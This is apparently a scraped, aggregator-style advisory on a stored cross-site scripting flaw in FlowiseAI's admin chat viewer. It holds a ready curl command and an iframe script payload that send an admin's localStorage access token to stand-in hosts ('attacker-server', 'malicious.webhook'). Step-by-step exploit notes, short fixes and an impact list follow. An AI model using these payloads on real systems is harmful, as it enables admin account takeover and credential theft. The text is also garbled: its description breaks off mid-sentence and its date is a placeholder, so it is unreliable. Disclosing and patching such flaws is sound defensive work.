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How the CVE Works:
The vulnerability exists due to improper neutralization of user input in the FlowiseAI admin message viewing interface. A low-privileged user can interact with a deployed AI agent and submit a specially crafted message. This message contains a malicious payload, such as an `
date: 2024-08-XX
Prediction: Patch released
What Undercode Say:
curl -X POST http://flowise-instance/api/v1/prediction/chat -H "Content-Type: application/json" -d '{"question":"
<
iframe srcdoc=\"<script>fetch('http://attacker-server/steal?data='+btoa(localStorage.getItem('accessToken')))</script>\">"}'
// Payload sent via chat < iframe srcdoc="<script>var i=new Image();i.src='http://malicious.webhook/log?data='+localStorage.accessToken;</script>">
How Exploit:
Craft malicious iframe payload.
Send via agent chat.
Admin views messages.
Script auto-executes.
Exfiltrates localStorage data.
Protection from this CVE
Update to v2.2.7.
Implement input sanitization.
Enforce Content Security Policy.
Sanitize DOM on output.
Impact:
Admin account takeover.
Credential theft.
Privilege escalation.
Panel compromise.
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Sources:
Reported By: github.com
Extra Source Hub:
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